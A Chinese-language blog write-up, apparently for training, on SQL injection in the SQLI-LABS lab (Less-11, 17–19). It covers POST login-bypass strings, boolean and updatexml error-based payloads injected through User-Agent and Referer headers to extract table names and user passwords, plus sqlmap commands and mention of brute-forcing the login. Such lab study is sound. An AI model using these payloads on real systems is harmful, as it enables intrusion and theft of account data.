1 POST注入
1.1 注入攻击的本质:
把用户输入的数据当成代码执行
1.2 两个关键条件:
用户能够控制输入
原本程序要执行的代码,拼接了用户输入的数据
POST注入也属于注入的一种,不过传参形式发生了改变而已,本质上并没有什么区别
1.4 POST注入高危点:
登陆框 、查询框 等各种与数据库有交互的框
2 POST注入讲解(以SQLI-LABS-Less-11为实例讲解)
2.1 最经典的POST注入:万能密码 ' or 1=1 #
在url栏中输入没有任何效果
只有在Username和Password栏中输入,页面才发生变化
这里我们可以猜测验证SQL语句为 where username =' ' and password = ' '
可以直接对username注入' or 1=1 #,因为其先将前面的引号闭合,使用或关系直接使整体判断为1,再将后面验证都注释掉,从而实现不输入密码便可以直接登陆成功
这里我们可以尝试根据页面显示登陆成功与失败,获取数据库长度
' or length(database())=8 #
获取当前数据库中所有表的首位字母
' or ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101 #
均被能成功推出
进一步得到Username对字符输入长度没有限制,因此使用布尔注入,便可以得到数据库全部内容
2.2 POST注入靶场做法
通过SQLMAP跑POST注入
--forms SQLMAP自动去读取页面中POST传参的表单的传参名然后进行注入
sqlmap -u http://192.168.174.131/Less-11/ --form --batch
-r 1.txt 通过抓包去跑POST注入
使用burp suite抓包,在测试的地方加*,sqlmap可以定位到测试点
将数据包内容粘贴到新建的txt文件
sqlmap -r /home/kali/桌面/ceshi.txt --batch
两种方法得到相同的测试结果
进一步输出数据库名
sqlmap -r /home/kali/桌面/ceshi.txt --dbs --batch
输出security下的数据表
sqlmap -r /home/kali/桌面/ceshi.txt -D security --tables --batch
3 HEAD注入
3.1 PHP超全局变量:表示着它们在一个脚本的全部作用域中都可用。
3.2 超全局变量:
3.3 $_SERVER头
注:
X-Forwarded-For:用于获取客户端的真实 IP 地址,尤其在代理服务器或负载均衡器环境中。X-Forwarded-For 和 $_SERVER['HTTP_REFERER'] 都可以被用户操控和伪造,因此在使用这些值时需要注意安全性,特别是在安全敏感的操作中。
3.4 Updatexml 函数
语法: updatexml (目标内容,xml文档路径,更新的内容)
作用:更新xml文档的函数,但路径不存在或错误时会报错
updatexml(1,concat(0x7e,(select database()),0x7e),1);
实际上这里是去更新了XML文档,因为在XML文档的xpath路径里面写入了子查询,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)(MYSQL支持16进制,但是开头得写0x)等特殊字符是非法的,也就会产生报错,报错时会先执行SQL子查询语句 ,SQL解析器会自动解析该SQL语句,就造成了SQL语句的任意执行
使用limit分页,因为报错不能输出过多(32字符)
select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);
前面的0x7e不能省略,后面的可以省略
select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1);
用法:
updatexml () 这个函数一般是配合and 或者是or 使用
and 情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。所以使用的时候建议使用or
一些没有回显盲注也可以用这个updatexml() 做出来
4 HEAD注入讲解(以SQLI-LABS-Less-17 、-18、-19为实例讲解)
4.1 SQLI-LABS-Less-17
根据页面显示PASSWORD RESET,意密码重置,先尝试直接在账户名注入' or 1=1 -- +,但出现报错
1 出现报错,注入不成功,猜测是将输入的引号进行了转义
2 这里我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。
3 分析其网页有对User-agent的请求,尝试在密码框对User-agent采取报错注入
因为只有知道正确用户名后才可以进行更改,所以burp suite抓包后使用字典爆破密码账号
得到正确用户登录名admin
在密码框尝试报错注入
admin' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) or '
成功显示数据库名,说明可以进行报错注入,剩下操作和下文Less-18注入相同,这里不再赘述
php代码分析
4.2 SQLI-LABS-Less-18
输入正确登录名admin和万能密码' or 1=1 -- + 报错
推测 SQL代码where username =' admin ' and users.password = ' \' or 1=1 # ',这里面加入了转义符号,导致不能够将password的单引号闭合
登录和密码框均不可被注入,推测为报错注入,查看请求头,发现User-agent请求,尝试对其进行注入
需要账号密码,burp suite使用字典爆破密码账号
得到账号密码为admin,admin,登录后页面显示ip和User agent,说明推测成立,可以从User agent这里注入
使用插件modheader构造虚拟uagent测试成功
也可以使用burp suite抓包直接修改User-Agent
使用插件更加便捷,以下皆以插件说明,(burp suite效果相同)
1 尝试对uagent进行注入得到数据库名(有多种方式)
' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) or '
' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1),1,1) #
' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) or 1=1) #
' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) ) #
2 对uagent进行注入得到数据库下表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '
3 对uagent进行注入得到users表的字段名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) or '
如果网站对引号拦截,使其转义,不能使用'users',可以尝试使用16进制
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),0x7e),1) or '
如果0x被禁用,不允许输入16进制,可以使用子查询
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),0x7e),1) or '
4 对uagent进行注入得到users表对应字段下的内容
' and updatexml(1,concat(0x7e,(mid((select id from users limit 0,1 ),1,32 )),0x7e),1) or '
输出users表内容时,因为updatexml()函数报错的内容只有32位,可以使用mid(sql语句,32,32)函数进行截断,mid(sql语句,64,32)
' and updatexml(1,concat(0x7e,(mid((select group_concat(id,username,password) from users ),1,32 )),0x7e),1) or '
4.3 使用sqlmap测试注入
使用burp suite抓包,在User-Agent后写入*,粘贴到txt中,使用kali环境下的sqlmap测试
sqlmap -r /home/kali/桌面/ceshi.txt --batch
测试成功,获取数据库
sqlmap -r /home/kali/桌面/ceshi.txt --dbs --batch
以下获取表名,字段名等只需输入对应命令即可,这里不再演示
4.4 SQLI-LABS-Less-19
输入账号密码可以看到显示出网页当前的URL
尝试在URL处进行注入,发现转义后才显示
根据页面显示,使用burp suite抓包,发现Referer请求头,更改其值看页面显示
页面发生变化,我们可以对referer进行注入
使用使用插件modheader注入referer测试,成功显示处数据库名,剩下注入语句和less-18相同。
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://huangxin.ltd/%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5/
共有 0 条评论